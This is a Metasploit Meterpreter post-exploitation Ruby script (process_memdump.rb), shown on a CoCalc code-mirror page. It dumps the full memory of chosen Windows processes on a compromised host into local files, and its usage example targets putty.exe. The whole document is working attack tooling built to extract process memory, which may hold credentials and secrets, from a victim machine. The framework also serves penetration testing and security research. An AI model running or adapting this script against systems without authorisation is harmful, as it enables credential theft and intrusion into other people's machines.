CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/process_memdump.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
9
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
10
# Note: Script is based on the paper Neurosurgery With Meterpreter by
11
# Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)
12
#-------------------------------------------------------------------------------
13
################## Variable Declarations ##################
14
require 'fileutils'
15
@client = client
16
pid = nil
17
name = nil
18
toggle = nil
19
resource = nil
20
query = false
21
22
@exec_opts = Rex::Parser::Arguments.new(
23
"-h" => [ false, "Help menu." ],
24
"-p" => [ true, "PID of process to dump."],
25
"-n" => [ true, "Name of process to dump."],
26
"-r" => [ true, "Text file with list of process names to dump memory for, one per line."],
27
"-t" => [ false, "toggle location information in dump."],
28
"-q" => [false, "Query the size of the Process that would be dump in bytes."]
29
)
30
31
def usage
32
print_line("")
33
print_line("USAGE:")
34
print_line("EXAMPLE: run process_memdump putty.exe")
35
print_line("EXAMPLE: run process_memdump -p 1234")
36
print_line(@exec_opts.usage)
37
raise Rex::Script::Completed
38
end
39
40
@exec_opts.parse(args) { |opt, idx, val|
41
case opt
42
when "-h"
43
usage
44
when "-p"
45
pid = val
46
when "-n"
47
name = val
48
when "-t"
49
toggle = true
50
when "-q"
51
query = true
52
when "-r"
53
list = val
54
resource = ""
55
if not ::File.exist?(list)
56
raise "Command List File does not exist!"
57
else
58
::File.open(list, "r").each_line do |line|
59
resource << line
60
end
61
end
62
end
63
}
64
65
66
# Function for finding the name of a process given it's PID
67
def find_procname(pid)
68
name = nil
69
@client.sys.process.get_processes.each do |proc|
70
if proc['pid'] == pid.to_i
71
name = proc['name']
72
end
73
end
74
return name
75
end
76
77
# Find all PID's for a given process name
78
def find_pids(name)
79
proc_pid = []
80
@client.sys.process.get_processes.each do |proc|
81
if proc['name'].downcase == name.downcase
82
proc_pid << proc['pid']
83
end
84
end
85
return proc_pid
86
end
87
88
# Dumps the memory for a given PID
89
def dump_mem(pid,name, toggle)
90
host,port = @client.session_host, session.session_port
91
# Create Filename info to be appended to created files
92
filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
93
# Create a directory for the logs
94
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')
95
# Create the log directory
96
::FileUtils.mkdir_p(logs)
97
#Dump file name
98
dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
99
print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
100
begin
101
dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
102
rescue
103
print_error("Could not open process for reading memory!")
104
raise Rex::Script::Completed
105
end
106
# MaximumApplicationAddress for 32bit or close enough
107
maximumapplicationaddress = 2147418111
108
base_size = 0
109
while base_size < maximumapplicationaddress
110
mbi = dump_process.memory.query(base_size)
111
# Check if Allocated
112
if mbi["Available"].to_s == "false"
113
file_local_write(dumpfile,mbi.inspect) if toggle
114
file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
115
print_status("\tbase size = #{base_size/1024}")
116
end
117
base_size += mbi["RegionSize"]
118
end
119
print_status("Saving Dumped Memory to #{dumpfile}")
120
121
end
122
123
# Function to query process Size
124
def get_mem_usage( pid )
125
p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
126
if( p )
127
begin
128
129
if( not @client.railgun.get_dll( 'psapi' ) )
130
@client.railgun.add_dll( 'psapi' )
131
end
132
133
# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
134
if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
135
@client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
136
[ "HANDLE", "hProcess", "in" ],
137
[ "PBLOB", "ProcessMemoryCounters", "out" ],
138
[ "DWORD", "Size", "in" ]
139
]
140
)
141
end
142
143
r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
144
if( r['return'] )
145
pmc = r['ProcessMemoryCounters']
146
# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
147
# Note: As we get the raw structure back from railgun we need to account
148
# for SIZE_T variables being 32bit on x86 and 64bit on x64
149
mem = nil
150
if( @client.arch == 'x86' )
151
mem = pmc[12..15].unpack('V').first
152
elsif( @client.arch == 'x64' )
153
mem = pmc[16..23].unpack('Q').first
154
end
155
return (mem/1024)
156
end
157
rescue
158
p "Exception - #{$!}"
159
end
160
161
p.close
162
end
163
164
return nil
165
end
166
167
# Main
168
if client.platform == 'windows'
169
if resource
170
resource.each do |r|
171
next if r.strip.length < 1
172
next if r[0,1] == "#"
173
print_status("Dumping memory for #{r.chomp}") if not query
174
pids = find_pids(r.chomp)
175
if pids.length == 0
176
print_status("\tProcess #{r.chomp} not found!")
177
next
178
end
179
pids.each do |p|
180
print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query
181
dump_mem(p,r.chomp,toggle) if not query
182
end
183
end
184
elsif pid
185
name = find_procname(pid)
186
print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query
187
print_status("Dumping memory for #{name}") if not query
188
dump_mem(pid,name,toggle) if not query
189
elsif name
190
print_status("Dumping memory for #{name}") if not query
191
find_pids(name).each do |p|
192
print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query
193
dump_mem(p,name,toggle) if not query
194
end
195
else
196
usage
197
end
198
else
199
print_error("This version of Meterpreter is not supported with this Script!")
200
raise Rex::Script::Completed
201
end
202
203